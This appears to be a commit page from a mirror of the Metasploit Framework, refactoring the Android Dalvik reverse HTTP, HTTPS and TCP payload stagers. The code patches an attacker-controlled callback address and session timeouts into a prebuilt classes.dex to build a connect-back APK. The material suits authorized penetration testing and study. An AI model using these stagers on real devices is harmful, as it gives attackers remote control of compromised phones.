infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Modify the staging process

bug/bundler_fix
OJ 2015-06-23 17:47:13 +10:00
parent 1351c1dca5
commit e796e56c6c
4 changed files with 43 additions and 40 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

9
lib/msf/core/payload/dalvik.rb
View File

@ -32,8 +32,13 @@ module Msf::Payload::Dalvik
end
def apply_options(classes)
string_sub(classes, 'TTTT ', "TTTT" + datastore['SessionRetryTotal'].to_s)
string_sub(classes, 'SSSS ', "SSSS" + datastore['SessionRetryWait'].to_s)
timeouts = [
datastore['SessionExpirationTimeout'].to_s,
datastore['SessionCommunicationTimeout'].to_s,
datastore['SessionRetryTotal'].to_s,
datastore['SessionRetryWait'].to_s
].join('-')
string_sub(classes, 'TTTT ', 'TTTT' + timeouts)
end
def string_sub(data, placeholder="", input="")

27
modules/payloads/stagers/android/reverse_http.rb
View File

@ -17,15 +17,15 @@ module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'Dalvik Reverse HTTP Stager',
'Description' => 'Tunnel communication over HTTP',
'Author' => 'anwarelmakrahy',
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseHttp,
'Stager' => {'Payload' => ""}
))
'Name' => 'Dalvik Reverse HTTP Stager',
'Description' => 'Tunnel communication over HTTP',
'Author' => ['anwarelmakrahy', 'OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseHttp,
'Stager' => {'Payload' => ''}
))
end
def generate_jar(opts={})
@ -36,13 +36,12 @@ module Metasploit3
uri_req_len = 5
end
lurl = "ZZZZhttp://#{datastore["LHOST"]}"
lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
lurl << "/"
lurl << generate_uri_uuid_mode(:init_java, uri_req_len)
url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}/"
# TODO: perhaps wire in an existing UUID from opts?
url << generate_uri_uuid_mode(:init_java, uri_req_len)
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
apply_options(classes)
jar = Rex::Zip::Jar.new

25
modules/payloads/stagers/android/reverse_https.rb
View File

@ -17,14 +17,14 @@ module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'Dalvik Reverse HTTPS Stager',
'Description' => 'Tunnel communication over HTTPS',
'Author' => 'anwarelmakrahy',
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseHttps,
'Stager' => {'Payload' => ""}
'Name' => 'Dalvik Reverse HTTPS Stager',
'Description' => 'Tunnel communication over HTTPS',
'Author' => ['anwarelmakrahy', 'OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseHttps,
'Stager' => {'Payload' => ''}
))
end
@ -36,13 +36,12 @@ module Metasploit3
uri_req_len = 5
end
lurl = "ZZZZhttps://#{datastore["LHOST"]}"
lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
lurl << "/"
lurl << generate_uri_uuid_mode(:init_java, uri_req_len)
url = "https://#{datastore["LHOST"]}:#{datastore["LPORT"]}/"
# TODO: perhaps wire in an existing UUID from opts?
url << generate_uri_uuid_mode(:init_java, uri_req_len)
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])

22
modules/payloads/stagers/android/reverse_tcp.rb
View File

@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
module Metasploit4
CachedSize = :dynamic
@ -17,14 +17,14 @@ module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'Dalvik Reverse TCP Stager',
'Description' => 'Connect back stager',
'Author' => 'timwr',
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseTcp,
'Stager' => {'Payload' => ""}
'Name' => 'Dalvik Reverse TCP Stager',
'Description' => 'Connect back stager',
'Author' => ['timwr', 'OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseTcp,
'Stager' => {'Payload' => ''}
))
end
@ -37,8 +37,8 @@ module Metasploit3
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST']
string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT']
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
apply_options(classes)
jar.add_file("classes.dex", fix_dex_header(classes))